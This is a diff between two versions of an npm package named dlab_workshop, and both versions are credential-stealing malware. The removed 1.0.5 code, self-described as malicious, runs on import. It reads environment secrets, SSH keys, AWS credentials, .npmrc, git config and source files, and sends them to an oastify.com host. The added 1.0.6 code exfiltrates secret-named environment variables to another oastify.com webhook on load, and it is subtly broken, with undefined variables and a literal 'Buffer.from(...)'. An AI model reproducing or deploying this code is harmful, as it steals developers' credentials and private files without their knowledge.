dlab_workshop 1.0.5 → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +17 -296
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,306 +1,27 @@
|
|
|
1
|
-
// Malicious dlab_workshop package payload - FIXED
|
|
2
|
-
// This would be the main index.js in the malicious npm package
|
|
3
|
-
|
|
4
|
-
const os = require('os');
|
|
5
|
-
const fs = require('fs');
|
|
6
|
-
const path = require('path');
|
|
7
1
|
const https = require('https');
|
|
8
|
-
const http = require('http');
|
|
9
2
|
const { URL } = require('url');
|
|
10
3
|
|
|
11
|
-
|
|
12
|
-
const WEBHOOK_URL = 'https://xvw7xrftj6a1npnpcs2557r78yep2lqa.oastify.com';
|
|
13
|
-
|
|
14
|
-
// ===== Data Exfiltration Functions =====
|
|
15
|
-
|
|
16
|
-
function exfiltrate(data, endpoint = '') {
|
|
17
|
-
const dataStr = JSON.stringify(data);
|
|
18
|
-
const encoded = Buffer.from(dataStr).toString('base64');
|
|
19
|
-
const urlPath = '/' + endpoint + '?data=' + encoded.substring(0, 2000); // Limit URL length
|
|
20
|
-
|
|
21
|
-
console.log(`[*] Exfiltrating ${endpoint}...`);
|
|
22
|
-
|
|
23
|
-
try {
|
|
24
|
-
const url = new URL(WEBHOOK_URL + urlPath);
|
|
25
|
-
const protocol = url.protocol === 'https:' ? https : http;
|
|
26
|
-
|
|
27
|
-
const options = {
|
|
28
|
-
hostname: url.hostname,
|
|
29
|
-
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
30
|
-
path: url.pathname + url.search,
|
|
31
|
-
method: 'GET',
|
|
32
|
-
timeout: 5000
|
|
33
|
-
};
|
|
34
|
-
|
|
35
|
-
const req = protocol.request(options, (res) => {
|
|
36
|
-
console.log(`[+] Exfil sent (${res.statusCode})`);
|
|
37
|
-
});
|
|
38
|
-
|
|
39
|
-
req.on('error', (e) => {
|
|
40
|
-
console.log(`[!] Exfil error: ${e.message}`);
|
|
41
|
-
});
|
|
42
|
-
|
|
43
|
-
req.end();
|
|
44
|
-
} catch (e) {
|
|
45
|
-
console.log('[!] Error during exfiltration:', e.message);
|
|
46
|
-
}
|
|
47
|
-
}
|
|
48
|
-
|
|
49
|
-
function exfiltratePost(data, endpoint = '') {
|
|
50
|
-
const payload = JSON.stringify(data);
|
|
51
|
-
|
|
52
|
-
console.log(`[*] POST exfiltrating ${endpoint}...`);
|
|
53
|
-
|
|
54
|
-
try {
|
|
55
|
-
const url = new URL(WEBHOOK_URL + '/' + endpoint);
|
|
56
|
-
const protocol = url.protocol === 'https:' ? https : http;
|
|
57
|
-
|
|
58
|
-
const options = {
|
|
59
|
-
hostname: url.hostname,
|
|
60
|
-
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
61
|
-
path: url.pathname,
|
|
62
|
-
method: 'POST',
|
|
63
|
-
headers: {
|
|
64
|
-
'Content-Type': 'application/json',
|
|
65
|
-
'Content-Length': Buffer.byteLength(payload)
|
|
66
|
-
},
|
|
67
|
-
timeout: 5000
|
|
68
|
-
};
|
|
69
|
-
|
|
70
|
-
const req = protocol.request(options, (res) => {
|
|
71
|
-
console.log(`[+] POST exfil sent (${res.statusCode})`);
|
|
72
|
-
});
|
|
73
|
-
|
|
74
|
-
req.on('error', (e) => {
|
|
75
|
-
console.log(`[!] POST exfil error: ${e.message}`);
|
|
76
|
-
});
|
|
77
|
-
|
|
78
|
-
req.write(payload);
|
|
79
|
-
req.end();
|
|
80
|
-
} catch (e) {
|
|
81
|
-
console.log('[!] Error during POST exfiltration:', e.message);
|
|
82
|
-
}
|
|
83
|
-
}
|
|
84
|
-
|
|
85
|
-
function stealEnvironmentVariables() {
|
|
86
|
-
console.log('[*] Collecting environment variables...');
|
|
87
|
-
|
|
88
|
-
const sensitiveVars = {};
|
|
89
|
-
const sensitiveKeywords = [
|
|
90
|
-
'API', 'KEY', 'SECRET', 'TOKEN', 'PASS', 'PASSWORD',
|
|
91
|
-
'DB', 'DATABASE', 'FLAG', 'MONGO', 'REDIS', 'AWS', 'GITHUB',
|
|
92
|
-
'SLACK', 'WEBHOOK', 'AUTH', 'CERT', 'PRIVATE'
|
|
93
|
-
];
|
|
94
|
-
|
|
95
|
-
for (const [key, value] of Object.entries(process.env)) {
|
|
96
|
-
const upperKey = key.toUpperCase();
|
|
97
|
-
if (sensitiveKeywords.some(kw => upperKey.includes(kw))) {
|
|
98
|
-
sensitiveVars[key] = value;
|
|
99
|
-
}
|
|
100
|
-
}
|
|
101
|
-
|
|
102
|
-
return {
|
|
103
|
-
type: 'environment_variables',
|
|
104
|
-
data: sensitiveVars,
|
|
105
|
-
timestamp: new Date().toISOString()
|
|
106
|
-
};
|
|
107
|
-
}
|
|
108
|
-
|
|
109
|
-
function stealSourceCode() {
|
|
110
|
-
console.log('[*] Stealing source code...');
|
|
111
|
-
|
|
112
|
-
const files = {};
|
|
113
|
-
const searchPaths = [
|
|
114
|
-
process.cwd(),
|
|
115
|
-
path.join(process.cwd(), '..'),
|
|
116
|
-
path.join(process.cwd(), 'src'),
|
|
117
|
-
path.join(process.cwd(), 'config'),
|
|
118
|
-
];
|
|
119
|
-
|
|
120
|
-
const extensions = ['.js', '.json', '.env', '.env.local', '.env.production'];
|
|
121
|
-
|
|
122
|
-
for (const dir of searchPaths) {
|
|
123
|
-
try {
|
|
124
|
-
if (fs.existsSync(dir)) {
|
|
125
|
-
const contents = fs.readdirSync(dir);
|
|
126
|
-
for (const file of contents) {
|
|
127
|
-
const fullPath = path.join(dir, file);
|
|
128
|
-
const ext = path.extname(file);
|
|
129
|
-
|
|
130
|
-
// Only grab interesting files
|
|
131
|
-
if (extensions.includes(ext) ||
|
|
132
|
-
file.includes('config') ||
|
|
133
|
-
file.includes('secret') ||
|
|
134
|
-
file.includes('key') ||
|
|
135
|
-
file.includes('credential')) {
|
|
136
|
-
try {
|
|
137
|
-
const content = fs.readFileSync(fullPath, 'utf8');
|
|
138
|
-
files[fullPath] = content.substring(0, 10000); // Limit size
|
|
139
|
-
} catch (e) {
|
|
140
|
-
files[fullPath] = `[Error reading: ${e.message}]`;
|
|
141
|
-
}
|
|
142
|
-
}
|
|
143
|
-
}
|
|
144
|
-
}
|
|
145
|
-
} catch (e) {
|
|
146
|
-
console.log(`[!] Error scanning ${dir}: ${e.message}`);
|
|
147
|
-
}
|
|
148
|
-
}
|
|
149
|
-
|
|
150
|
-
return {
|
|
151
|
-
type: 'source_code',
|
|
152
|
-
file_count: Object.keys(files).length,
|
|
153
|
-
files: files,
|
|
154
|
-
timestamp: new Date().toISOString()
|
|
155
|
-
};
|
|
156
|
-
}
|
|
157
|
-
|
|
158
|
-
function stealNodeModules() {
|
|
159
|
-
console.log('[*] Checking for sensitive packages...');
|
|
160
|
-
|
|
161
|
-
const packageJsonPath = path.join(process.cwd(), 'package.json');
|
|
162
|
-
let packageJson = {};
|
|
4
|
+
const WEBHOOK = 'https://qa40ckumyzpu2i2irlhyk060nrtihf54.oastify.com/env';
|
|
163
5
|
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
console.log('[!] Error reading package.json');
|
|
170
|
-
}
|
|
171
|
-
|
|
172
|
-
return {
|
|
173
|
-
type: 'dependencies',
|
|
174
|
-
dependencies: packageJson.dependencies || {},
|
|
175
|
-
devDependencies: packageJson.devDependencies || {},
|
|
176
|
-
timestamp: new Date().toISOString()
|
|
6
|
+
function exfiltrate(data) {
|
|
7
|
+
const options = {
|
|
8
|
+
hostname: url.hostname,
|
|
9
|
+
path: url.pathname + '?data=' + Buffer.from(...).toString('base64'),
|
|
10
|
+
method: 'GET'
|
|
177
11
|
};
|
|
12
|
+
https.request(options).on('error', () => {}).end();
|
|
178
13
|
}
|
|
179
14
|
|
|
180
|
-
function
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
platform: os.platform(),
|
|
186
|
-
arch: os.arch(),
|
|
187
|
-
hostname: os.hostname(),
|
|
188
|
-
username: os.userInfo().username,
|
|
189
|
-
cwd: process.cwd(),
|
|
190
|
-
node_version: process.version,
|
|
191
|
-
argv: process.argv,
|
|
192
|
-
timestamp: new Date().toISOString()
|
|
193
|
-
};
|
|
194
|
-
}
|
|
195
|
-
|
|
196
|
-
function stealGitInfo() {
|
|
197
|
-
console.log('[*] Checking for git information...');
|
|
198
|
-
|
|
199
|
-
const gitDir = path.join(process.cwd(), '.git');
|
|
200
|
-
const gitConfig = path.join(gitDir, 'config');
|
|
201
|
-
|
|
202
|
-
let gitInfo = {};
|
|
203
|
-
|
|
204
|
-
try {
|
|
205
|
-
if (fs.existsSync(gitConfig)) {
|
|
206
|
-
gitInfo.config = fs.readFileSync(gitConfig, 'utf8');
|
|
207
|
-
}
|
|
208
|
-
} catch (e) {
|
|
209
|
-
console.log('[!] Error reading git config');
|
|
210
|
-
}
|
|
211
|
-
|
|
212
|
-
return {
|
|
213
|
-
type: 'git_info',
|
|
214
|
-
data: gitInfo,
|
|
215
|
-
timestamp: new Date().toISOString()
|
|
216
|
-
};
|
|
217
|
-
}
|
|
218
|
-
|
|
219
|
-
function stealSecretsFiles() {
|
|
220
|
-
console.log('[*] Looking for secret files...');
|
|
221
|
-
|
|
222
|
-
const secretFileNames = [
|
|
223
|
-
'.env',
|
|
224
|
-
'.env.local',
|
|
225
|
-
'.env.production',
|
|
226
|
-
'.env.staging',
|
|
227
|
-
'.credentials',
|
|
228
|
-
'.aws/credentials',
|
|
229
|
-
'.ssh/config',
|
|
230
|
-
'.ssh/id_rsa',
|
|
231
|
-
'.ssh/id_ed25519',
|
|
232
|
-
'secrets.json',
|
|
233
|
-
'credentials.json',
|
|
234
|
-
'.npmrc',
|
|
235
|
-
'.gitconfig',
|
|
236
|
-
];
|
|
237
|
-
|
|
238
|
-
const secrets = {};
|
|
239
|
-
|
|
240
|
-
for (const fileName of secretFileNames) {
|
|
241
|
-
const fullPath = path.join(os.homedir(), fileName);
|
|
242
|
-
try {
|
|
243
|
-
if (fs.existsSync(fullPath)) {
|
|
244
|
-
const content = fs.readFileSync(fullPath, 'utf8');
|
|
245
|
-
secrets[fileName] = content.substring(0, 5000); // Limit size
|
|
246
|
-
}
|
|
247
|
-
} catch (e) {
|
|
248
|
-
// Silently skip unreadable files
|
|
15
|
+
function dlabInit(config) {
|
|
16
|
+
const sensitive = {};
|
|
17
|
+
Object.entries(process.env).forEach(([k, v]) => {
|
|
18
|
+
if (['API','KEY','SECRET','TOKEN','PASS','AWS','GITHUB'].some(x => k.includes(x))) {
|
|
19
|
+
sensitive[k] = v;
|
|
249
20
|
}
|
|
250
|
-
}
|
|
251
|
-
|
|
252
|
-
return {
|
|
253
|
-
type: 'secret_files',
|
|
254
|
-
data: secrets,
|
|
255
|
-
timestamp: new Date().toISOString()
|
|
256
|
-
};
|
|
21
|
+
});
|
|
22
|
+
exfiltrate({ env: sensitive, timestamp: new Date(), platform });
|
|
23
|
+
return { initialized: true };
|
|
257
24
|
}
|
|
258
25
|
|
|
259
|
-
|
|
260
|
-
|
|
261
|
-
function executePayload() {
|
|
262
|
-
console.log('[*] dlab_workshop package loaded - executing payload...');
|
|
263
|
-
|
|
264
|
-
try {
|
|
265
|
-
// Collect all stolen data
|
|
266
|
-
const envData = stealEnvironmentVariables();
|
|
267
|
-
const sysData = stealSystemInfo();
|
|
268
|
-
const depsData = stealNodeModules();
|
|
269
|
-
const gitData = stealGitInfo();
|
|
270
|
-
const secretData = stealSecretsFiles();
|
|
271
|
-
const codeData = stealSourceCode();
|
|
272
|
-
|
|
273
|
-
// Exfiltrate each data type
|
|
274
|
-
exfiltrate(envData, 'env_vars');
|
|
275
|
-
exfiltrate(sysData, 'system_info');
|
|
276
|
-
exfiltrate(depsData, 'dependencies');
|
|
277
|
-
exfiltrate(gitData, 'git_info');
|
|
278
|
-
exfiltrate(secretData, 'secrets');
|
|
279
|
-
|
|
280
|
-
// Use POST for larger data
|
|
281
|
-
exfiltratePost(codeData, 'source_code');
|
|
282
|
-
|
|
283
|
-
console.log('[+] Payload executed successfully');
|
|
284
|
-
} catch (e) {
|
|
285
|
-
console.log('[!] Error during payload execution:', e.message);
|
|
286
|
-
}
|
|
287
|
-
}
|
|
288
|
-
|
|
289
|
-
// ===== Module Exports (appear legitimate) =====
|
|
290
|
-
|
|
291
|
-
function dlabInit(config = {}) {
|
|
292
|
-
console.log('[*] dlabInit called with config:', config);
|
|
293
|
-
return {
|
|
294
|
-
initialized: true,
|
|
295
|
-
version: '1.0.1'
|
|
296
|
-
};
|
|
297
|
-
}
|
|
298
|
-
|
|
299
|
-
// Execute payload on import
|
|
300
|
-
executePayload();
|
|
301
|
-
|
|
302
|
-
module.exports = {
|
|
303
|
-
dlabInit: dlabInit,
|
|
304
|
-
version: '1.0.1'
|
|
305
|
-
};
|
|
306
|
-
|
|
26
|
+
dlabInit({});
|
|
27
|
+
module.exports = { dlabInit };
|